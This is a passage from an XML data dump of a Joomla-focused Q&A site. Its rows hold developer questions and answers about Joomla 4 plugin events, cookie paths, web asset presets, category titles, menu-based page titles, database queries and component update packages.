code&#xA;}&#xA;&#xA;require_once $engine;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-04-05T06:56:13.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32933" PostTypeId="1" AcceptedAnswerId="32935" CreationDate="2023-04-05T07:46:47.660" Score="2" ViewCount="82" Body="&lt;p&gt;I need to trigger code when an article is moved from one category to another.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;onContentAfterSave&lt;/code&gt; works fine for a single article, but what if I move articles via &lt;em&gt;Actions&lt;/em&gt; -&amp;gt; &lt;em&gt;Batch&lt;/em&gt;? Is there a trigger for that?&lt;/p&gt;&#xA;" OwnerUserId="5692" LastEditorUserId="12352" LastEditDate="2023-04-05T22:25:32.767" LastActivityDate="2023-04-08T07:27:03.277" Title="Content triggers on batch actions" Tags="|development|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32934" PostTypeId="2" ParentId="32876" CreationDate="2023-04-05T11:50:46.797" Score="0" Body="&lt;p&gt;This is a bug that was introduced to the latest Joomla! version.  It's been fixed in an update.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2023-04-05T11:50:46.797" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32935" PostTypeId="2" ParentId="32933" CreationDate="2023-04-05T19:37:36.103" Score="1" Body="&lt;p&gt;There is an event regarding batch process:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;onBeforeBatch(BeforeBatchEvent $event)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and the &lt;em&gt;$event&lt;/em&gt; array param is passing the &lt;strong&gt;source Table&lt;/strong&gt; and the &lt;strong&gt;type&lt;/strong&gt; of batch operation, however I have never seen this in use in any plugin.&lt;/p&gt;&#xA;&lt;p&gt;But what I think is useful event for you to use most probably, without knowing the full purpose, is the&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;onTableAfterStore(AfterStoreEvent $event)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This event is firing right after the batch operation and the &lt;em&gt;$event&lt;/em&gt; param in this case is passing the &lt;strong&gt;table&lt;/strong&gt; and the &lt;strong&gt;result&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Extract arguments&#xA;/** @var TableInterface $table */&#xA;$table  = $event['subject'];&#xA;$result = $event['result'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt; to &lt;code&gt;onBeforeBatch&lt;/code&gt; event:&lt;/p&gt;&#xA;&lt;p&gt;This Event class is defined in &lt;strong&gt;src/Event/Model/&lt;/strong&gt; :&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/4.3-dev/libraries/src/Event/Model&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/4.3-dev/libraries/src/Event/Model&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to my fast test in Joomla core &lt;strong&gt;taggable plugin&lt;/strong&gt;, this event is firing when we do a &lt;strong&gt;copy&lt;/strong&gt; type Batch operation on content(articles) items (so at move type operation it does not), so it ignites when we are copying items. I have not checked yet why it is that way.&lt;/p&gt;&#xA;&lt;p&gt;The event is used in Behaviour/taggable core plugin:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.3-dev/plugins/behaviour/taggable/src/Extension/Taggable.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.3-dev/plugins/behaviour/taggable/src/Extension/Taggable.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And the event is property of the Admin Model in Joomla:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.3-dev/libraries/src/MVC/Model/AdminModel.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.3-dev/libraries/src/MVC/Model/AdminModel.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-04-08T07:27:03.277" LastActivityDate="2023-04-08T07:27:03.277" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32936" PostTypeId="2" ParentId="32931" CreationDate="2023-04-05T23:14:55.930" Score="1" Body="&lt;p&gt;I was able to see the $__COOKIE object through an IDE(PHPStorm) and by running your code snippet in a couple of the core plugins that are triggered by onUserAfterLogin to show $__COOKIE is properties are available to the plugins as designed.&lt;/p&gt;&#xA;&lt;p&gt;In the file &lt;code&gt;..\plugins\user\joomla\joomla.php&lt;/code&gt; I added the following code to run immediately on the function being called.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserAfterLogin(array $options): void&#xA;{&#xA;    foreach ($_COOKIE as $key=&amp;gt;$val)&#xA;        echo $key.' is '.$val.&amp;quot;&amp;lt;br&amp;gt;\n&amp;quot;;&#xA;&#xA;    die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the output was thus&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;XDEBUG_SESSION is XDEBUG_ECLIPSE&#xA;376cb7f524347ecfff7f779f6fc43200 is k7m06ln61nkf31iec3mt46elh3&#xA;joomla_user_state is logged_in&#xA;5dcf55e8c5c11e565dbd630d56638688 is r6k20feo1a7fmsei4phvabvqpm&#xA;1e43ae2d10d1aeaf0cd0c28173f07763 is 25p7k900hr7fe369p624cj3cn2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Without seeing the actual code around your test snippet to understand how you have implemented it I would assume that you have an issue with where the snippet is located in the plugin and that it isn't running or the test snippet is executing but because you are relying on echo statements you are not seeing the results due to later processing.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;die;&lt;/code&gt; is important in the above test as it makes sure you get to see the results of the echo statements so that will confirm it is running.&lt;/p&gt;&#xA;&lt;p&gt;In a plugin that runs fairly early in the cycle of building a Joomla page you are not likely to see the result of the echo as later processing that builds what is sent to the browser has probably cleared any output from the early echo statements. The same test snippet in a component is more likely to get the echo output onto the page you see in the browser.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-05T23:14:55.930" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32937" PostTypeId="2" ParentId="32931" CreationDate="2023-04-05T23:28:33.920" Score="1" Body="&lt;p&gt;The problem is in how the cookie was set. If you try to set only the cookie's name and value like this, you fall back on a lot of default values:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cookie = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$cookies-&amp;gt;set('cartToken', $token);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;set&lt;/code&gt; function accepts many more arguments than this. The following will work across the site:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cookies-&amp;gt;set('cartToken', $token, 0, '/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why does this work? This function accepts the following arguments (see the highlighted text):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;$name&lt;/strong&gt; - Name of the value to set.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;$value&lt;/strong&gt; - Value to assign to the input.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;$expire&lt;/strong&gt; - The time the cookie expires. This is a Unix timestamp so is in number of seconds since the epoch. In other words, you'll most likely set this with the time() function plus the number of seconds before you want it to expire. Or you might use mktime(). time()+60&lt;em&gt;60&lt;/em&gt;24*30 will set the cookie to expire in 30 days. If set to 0, or omitted, the cookie will expire at the end of the session (when the browser closes).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;$path&lt;/strong&gt; - The path on the server in which the cookie will be available on. &lt;em&gt;&lt;strong&gt;If set to '/', the cookie will be available within the entire domain.&lt;/strong&gt;&lt;/em&gt; If set to '/foo/', the cookie will only be available within the /foo/ directory and all sub-directories such as /foo/bar/ of domain. &lt;em&gt;&lt;strong&gt;The default value is the current directory that the cookie is being set in.&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;$domain&lt;/strong&gt; - The domain that the cookie is available to. To make the cookie available on all subdomains of example.com (including example.com itself) then you'd set it to '.example.com'. Although some browsers will accept cookies without the initial ., RFC 2109 requires it to be included. Setting the domain to 'www.example.com' or '.www.example.com' will make the cookie only available in the www subdomain.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;$secure&lt;/strong&gt; - Indicates that the cookie should only be transmitted over a secure HTTPS connection from the client. When set to TRUE, the cookie will only be set if a secure connection exists. On the server-side, it's on the programmer to send this kind of cookie only on secure connection (e.g. with respect to $_SERVER[&amp;quot;HTTPS&amp;quot;]).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;$httpOnly&lt;/strong&gt; - When TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I lifted this documentation from the &lt;code&gt;set&lt;/code&gt; function definition in &lt;code&gt;/libraries/src/Input/Cookie.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The cookie was being set in one of the component's controllers, with the path of that controller. The cookie was available because it was being accessed at the same path it was being set.&lt;/p&gt;&#xA;&lt;p&gt;The plugin was running the code at a different path, so it did not have access. Using '/' as the path when setting the cookie makes it accessible across the site.&lt;/p&gt;&#xA;&lt;p&gt;It looks like in future versions of Joomla you'll need to pass the other values in an options array, so this might not work in Joomla 4. But it works in the latest version of Joomla 3.&lt;/p&gt;&#xA;" OwnerUserId="8455" LastEditorUserId="8455" LastEditDate="2023-04-05T23:41:53.490" LastActivityDate="2023-04-05T23:41:53.490" CommentCount="3" CommunityOwnedDate="2023-04-05T23:28:33.920" ContentLicense="CC BY-SA 4.0" />
  <row Id="32938" PostTypeId="1" AcceptedAnswerId="32950" CreationDate="2023-04-07T16:06:21.697" Score="2" ViewCount="132" Body="&lt;p&gt;I'm writing a component that will rely on Joomla's Categories to manage its own categories.&lt;/p&gt;&#xA;&lt;p&gt;Everything's working OK, I just cannot figure out how to change my component's Categories list title.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to show &amp;quot;My Component Name or whatever: Categories&amp;quot; on the top title bar just like it happens with Articles and Banners Categories.&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q56u7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q56u7.png&quot; alt=&quot;Custom Component categories&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-04-11T16:38:21.100" Title="Change title for Categories page on custom component" Tags="|development|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32940" PostTypeId="1" CreationDate="2023-04-08T05:30:40.260" Score="1" ViewCount="111" Body="&lt;p&gt;I am trying to create my own theme and I see from cassiopeia theme&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa-&amp;gt;usePreset('template.cassiopeia.' . ($this-&amp;gt;direction === 'rtl' ? 'rtl' : 'ltr'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I tried to use the same as in my template&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa-&amp;gt;usePreset('libs');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Its throwing error&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa-&amp;gt;useStyle('libs');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;works fine.&lt;/p&gt;&#xA;&lt;p&gt;Can someone explain the difference between usePreset and useStyle, and when to use?&lt;/p&gt;&#xA;" OwnerUserId="15539" LastActivityDate="2023-05-08T23:45:50.713" Title="Difference between usePreset and useStyle in Joomla v4" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32941" PostTypeId="2" ParentId="32940" CreationDate="2023-04-08T11:06:13.190" Score="3" Body="&lt;p&gt;A &lt;code&gt;useStyle('libs')&lt;/code&gt; will include or load in your page a Web Asset with a type of CSS named &lt;code&gt;libs&lt;/code&gt; that has been previously registered either dynamically or as part of the components &lt;code&gt;joomla.asset.json&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;A Preset is a collection or profile of .css and .js Web Assets(definitions) that have been registered, normally in the &lt;code&gt;joomla.asset.json&lt;/code&gt; file, and the &lt;code&gt;usePreset&lt;/code&gt; command will load all of the .css and .js files defined in the preset definitionin your page.&lt;/p&gt;&#xA;&lt;p&gt;I found this a good explanation of how to use Web Assets in a component that might be helpful in you understanding what is going on, &lt;a href=&quot;https://www.dionysopoulos.me/book/concepts-webassetmanager.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dionysopoulos.me/book/concepts-webassetmanager.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You will find the joomla.asset.json files for each extension, including templates in the &lt;code&gt;../media/exetension_name&lt;/code&gt; directories&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-05-08T23:45:50.713" LastActivityDate="2023-05-08T23:45:50.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32943" PostTypeId="2" ParentId="32938" CreationDate="2023-04-08T13:03:05.690" Score="1" Body="&lt;p&gt;You need to add a certain language string to the admin language file of your component. The most basic is simply the name of the component, for example &lt;code&gt;COM_CONTENT&lt;/code&gt;. So in the language file you would add:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;COM_CONTENT=&amp;quot;Articles&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you're using category sections in your component, append the section, e.g. &lt;code&gt;COM_CONTENT_ARTICLES&lt;/code&gt;. You can optionally append &lt;code&gt;_CATEGORIES_TITLE&lt;/code&gt; suffix to allow different string specifically in this view, since the generic ones are used in many other places where content types are needed. So &lt;code&gt;COM_CONTENT_CATEGORIES_TITLE&lt;/code&gt; or &lt;code&gt;COM_CONTENT_ARTICLES_CATEGORIES_TITLE&lt;/code&gt; also work.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-04-08T13:03:05.690" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32944" PostTypeId="1" CreationDate="2023-04-10T19:08:42.057" Score="1" ViewCount="39" Body="&lt;p&gt;I'm using PHP to creata dynamic page title based on the menu item using Sourcer and the following PHP:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$active = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;echo $active-&amp;gt;title;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works, but I would like to restrict the menu to the third level menu. So, if you go to a lower menu say the fourth or fifth, you would still have the third level showing for the title.&lt;/p&gt;&#xA;&lt;p&gt;What do I add to this or I'm I going to need two different modules for items in the third or greater level menu items?&lt;/p&gt;&#xA;" OwnerUserId="16998" LastActivityDate="2024-01-06T03:02:35.307" Title="Dynamic Title Module Control" Tags="|php|joomla-4.x|custom-module|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32945" PostTypeId="2" ParentId="5359" CreationDate="2023-04-10T19:57:53.977" Score="0" Body="&lt;p&gt;To create a Category in Joomla 4:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$category_data['id'] = 0;&#xA;$category_data['parent_id'] = 0;&#xA;$category_data['title'] = &amp;quot;my title&amp;quot; ;&#xA;$category_data['alias'] = &amp;quot;my alias&amp;quot;;&#xA;$category_data['extension'] = 'com_content';&#xA;$category_data['published'] = 1;&#xA;$category_data['language'] = '*';&#xA;$category_data['params'] = array('category_layout' =&amp;gt; '','image' =&amp;gt; '');&#xA;$category_data['metadata'] = array('author' =&amp;gt; '','robots' =&amp;gt; '');&#xA;&#xA;$newapp = JFactory::getApplication();&#xA;$mvcFactory = $newapp-&amp;gt;bootComponent('com_categories')-&amp;gt;getMVCFactory();&#xA;$catModel = $mvcFactory-&amp;gt;createModel('Category', 'Administrator', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;$category_id = $catModel-&amp;gt;save($category_data);&#xA;&#xA;if (!$category_id ){&#xA;    throw new Exception('Can't create Category...');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2023-04-10T19:57:53.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32946" PostTypeId="1" CreationDate="2023-04-10T21:11:13.323" Score="0" ViewCount="67" Body="&lt;p&gt;I have a custom php script that was written for a Joomla 3 site.&lt;/p&gt;&#xA;&lt;p&gt;Of course on Joomla 4 it doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;I've been working on re writing the query statements to use prepared statements but even with the simplest dumbed down query I get a 500 error&lt;/p&gt;&#xA;&lt;p&gt;Working off &lt;a href=&quot;https://docs.joomla.org/J4.x:Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Connect to Joomla!&#xA;define( '_JEXEC', 1);&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__) .'/' ) );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;//using new use statement instead of JFactory&#xA;use Joomla\CMS\Factory;&#xA;&#xA;//copied from &#xA; $db = JFactory::getDbo();&#xA; $query = $db-&amp;gt;getQuery(true)&#xA;     -&amp;gt;select('*')&#xA;     -&amp;gt;from($db-&amp;gt;quoteName('#__content'))&#xA;     -&amp;gt;setLimit('10');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I missing for a custom script to work on Joomla 4 ?&lt;/p&gt;&#xA;&lt;p&gt;If I get that far I can maybe figure out the prepared statements for this:&#xA;It's an inner join between custom fields table, content and categories&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;-&amp;gt;select($db-&amp;gt;quoteName(array('v.item_id','cat.alias','c.title','c.alias','c.images','c.introtext','v.value'), array('item_id','category','title','alias','images','introtext','college')))&#xA;-&amp;gt;from($db-&amp;gt;quoteName('#__fields_values', 'v'))&#xA;-&amp;gt;innerJoin($db-&amp;gt;quoteName('#__content', 'c') . ' ON v.item_id = c.id')&#xA;-&amp;gt;innerJoin($db-&amp;gt;quoteName('#__categories', 'cat') . ' ON c.catid = cat.id')&#xA;-&amp;gt;where($db-&amp;gt;quoteName('v.field_id').'= :fieldValue')&#xA;-&amp;gt;where($db-&amp;gt;quoteName('c.state').'= :activeState')&#xA;-&amp;gt;order($db-&amp;gt;quoteName('c.title').'ASC');&#xA;-&amp;gt;bind(':fieldValue', 5);&#xA;-&amp;gt;bind(':activeState', 1);&#xA;   &#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$articles = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16997" LastActivityDate="2023-04-10T21:11:13.323" Title="Joomla 3 Custom PHP Script needs to be updated for Joomla 4" Tags="|php|joomla-4.x|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32947" PostTypeId="2" ParentId="32944" CreationDate="2023-04-11T00:08:47.687" Score="0" Body="&lt;p&gt;This snippet of code should get you close to what you want. It is untested so supplied as is.&lt;/p&gt;&#xA;&lt;p&gt;It gets the page title from the current/active menu and if it is deeper than level 3 it will step up through the menu items to retrieve the menu title at level 3 and assign it to the page title property.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$menuItems      = Factory::getApplication()-&amp;gt;getMenu();&#xA;$currentMenu    = $menuItems-&amp;gt;getActive();&#xA;$menuLevel      = $currentMenu-&amp;gt;level;&#xA;$pageTitle      = $currentMenu-&amp;gt;title;&#xA;$parentMenu     = $currentMenu;&#xA;&#xA;//Step up the menu tree until you get to level 3 menu item values.&#xA;while ($menuLevel &amp;gt; 3)&#xA;{&#xA;    $menuId     = $parentMenu-&amp;gt;parent;&#xA;    $parentMenu = $menuItems-&amp;gt;$menuId;&#xA;    $pageTitle  = $parentMenu-&amp;gt;title;&#xA;    $menuLevel  = $parentMenu-&amp;gt;level;&#xA;}&#xA;&#xA;echo $pageTitle;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-11T00:08:47.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32948" PostTypeId="1" CreationDate="2023-04-11T12:19:23.047" Score="0" ViewCount="40" Body="&lt;p&gt;Not quite sure how to debug this.&lt;/p&gt;&#xA;&lt;p&gt;We have a modal where labels are shown translated, but the options in the select input are not.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$options[] = JHtml::_('select.option', 'GB', JText::_('COM_COMPANY_LOCATION_GB'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;File location is components/com_company/models/fields/servers.php&lt;/p&gt;&#xA;&lt;p&gt;The constant is defined in all language files.&lt;/p&gt;&#xA;&lt;p&gt;I can see that the right language is loaded with &lt;code&gt;$lang-&amp;gt;getName()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Adding &lt;code&gt;$lang-&amp;gt;load('com_company');&lt;/code&gt; does not fix it.&lt;/p&gt;&#xA;&lt;p&gt;Any debugging tip would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-04-11T12:19:23.047" Title="Why does JText::_ not translate in model field?" Tags="|language|debug|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32949" PostTypeId="1" CreationDate="2023-04-11T15:26:29.080" Score="0" ViewCount="38" Body="&lt;p&gt;I've been building a Joomla 4 component, and have been looking to add the drag-and-drop re-ordering functionality. I have been doing this by looking at how the core components achieve it.&lt;/p&gt;&#xA;&lt;p&gt;I managed to get the functionality working, but for it to work you have to set a value for &amp;quot;data-draggable-group&amp;quot; on each table row.  This only works if the value is the same for each row, but it appears that the value itself can be anything.&lt;/p&gt;&#xA;&lt;p&gt;Most core components set this as &lt;code&gt;&amp;lt;?php echo $item-&amp;gt;catid; ?&amp;gt;&lt;/code&gt;, except Tags which uses &lt;code&gt;&amp;lt;?php echo $item-&amp;gt;parent_id; ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;My question is what this data attribute is for, and why the core components are setting it dynamically.  What is the best practise here?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2023-04-11T15:26:29.080" Title="Drag-and-drop - what is the value of &quot;data-draggable-group&quot; for?" Tags="|component|joomla-4.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32950" PostTypeId="2" ParentId="32938" CreationDate="2023-04-11T16:38:21.100" Score="2" Body="&lt;p&gt;I found the solution.&lt;/p&gt;&#xA;&lt;p&gt;We must not use the string COM_MYCOMPONENT = &amp;quot;My component&amp;quot;, as per the &amp;quot;component name&amp;quot;, but the &amp;quot;extension name&amp;quot; as is shown on the url.&lt;/p&gt;&#xA;&lt;p&gt;Given:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/index.php?option=com_categories&amp;amp;extension=com_mycomponent.somecategorytype&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The language string must be COM_MYCOMPONENT_SOMECATEGORYTYPE on administrator/language/en-GB/com_mycomponent.ini&lt;/p&gt;&#xA;&lt;p&gt;Thanks @Zollie and @Sharky for the tips.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-04-11T16:38:21.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32951" PostTypeId="2" ParentId="32929" CreationDate="2023-04-12T12:33:14.780" Score="2" Body="&lt;p&gt;There is a solution using pure MySQL, but it may get excessively complicated if the number of tables or sources increases and I'm not sure it's the most efficient approach.&lt;/p&gt;&#xA;&lt;p&gt;You need to join the relationships table to itself for each source that you want to use. Then use conditional left joins to pull it all together.&lt;/p&gt;&#xA;&lt;p&gt;Plain MySQL example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    SELECT DISTINCT entities.entity, parent.entity, memberships.status&#xA;      FROM entities&#xA;INNER JOIN relationships rel1 ON entities.id = rel1.entity_id&#xA;INNER JOIN relationships rel2 ON rel1.entity_id = rel2.entity_id AND rel1.id &amp;lt;&amp;gt; rel2.id&#xA; LEFT JOIN entities parent ON (rel1.source = 'entity' AND parent.id = rel1.target) OR (rel2.source = 'entity' AND parent.id = rel2.target)&#xA; LEFT JOIN memberships ON (rel1.source = 'membership' AND memberships.user_id = rel1.target) OR (rel2.source = 'membership' AND memberships.user_id = rel2.target);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using Joomla query would be something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('DISTINCT entities.entity, parent.entity, memberships.status')&#xA;      -&amp;gt;from('entities')&#xA;      -&amp;gt;join('INNER', $db-&amp;gt;qn('relationships', 'rel1'), 'entities.id = rel1.entity_id')&#xA;      -&amp;gt;join('INNER', $db-&amp;gt;qn('relationships', 'rel2'), 'rel1.entity_id = rel2.entity_id AND rel1.id &amp;lt;&amp;gt; rel2.id')&#xA;      -&amp;gt;join('LEFT',  $db-&amp;gt;qn('entities', 'parent'), '(rel1.source = 'entity' AND parent.id = rel1.target) OR (rel2.source = 'entity' AND parent.id = rel2.target)&#xA;      -&amp;gt;join('LEFT',  $db-&amp;gt;qn('memberships'), '(rel1.source = 'membership' AND memberships.id = rel1.target) OR (rel2.source = 'membership' AND memberships.id = rel2.target);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2023-04-12T12:33:14.780" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32952" PostTypeId="1" CreationDate="2023-04-12T13:27:31.810" Score="0" ViewCount="40" Body="&lt;p&gt;I have some issues getting the registration email that I want. I have changed the language override to have the text I want. But now I want to add some images, logo and signature to the email.&lt;/p&gt;&#xA;&lt;p&gt;But how do I do that? When I add the image tag to the language override it just displays the image tag.&lt;/p&gt;&#xA;&lt;p&gt;If possible I'd like to not use plugins or components. Email beautifier is a thing, but I'd like to not use that and use smaller plugins or code hacks.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2023-04-12T13:27:31.810" Title="Add image to registration email" Tags="|joomla-3.x|emails|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32953" PostTypeId="1" CreationDate="2023-04-13T08:10:07.200" Score="1" ViewCount="46" Body="&lt;p&gt;I have developed a custom Joomla 4 component called &amp;quot;com_news&amp;quot; and successfully implemented the update functionality before. However, now I am encountering an issue where Joomla can't unzip the update package when trying to update the component.&lt;/p&gt;&#xA;&lt;p&gt;The update server URL and Download ID are recognized, but when the update process starts, Joomla fails to unzip the package and proceeds with the update. I'm not sure what might be causing this issue, as it has worked previously.&lt;/p&gt;&#xA;&lt;p&gt;Are there any known bugs, limitations, or requirements related to the update package or the update process in Joomla 4 that could be causing this issue? Any suggestions on how to troubleshoot and fix this problem would be greatly appreciated.&lt;/p&gt;&#xA;&lt;h2&gt;news.xml&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&amp;quot;extension&amp;quot; priority=&amp;quot;1&amp;quot; name=&amp;quot;News updater&amp;quot;&amp;gt;https://github.com/{USER}/{REPO}/raw/master/{UPDATES}.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&amp;lt;dlid prefix=&amp;quot;dlid=&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;news_updates.xml&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;News Component&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;News component installation&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;com_news&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.6.7.2&amp;lt;/version&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            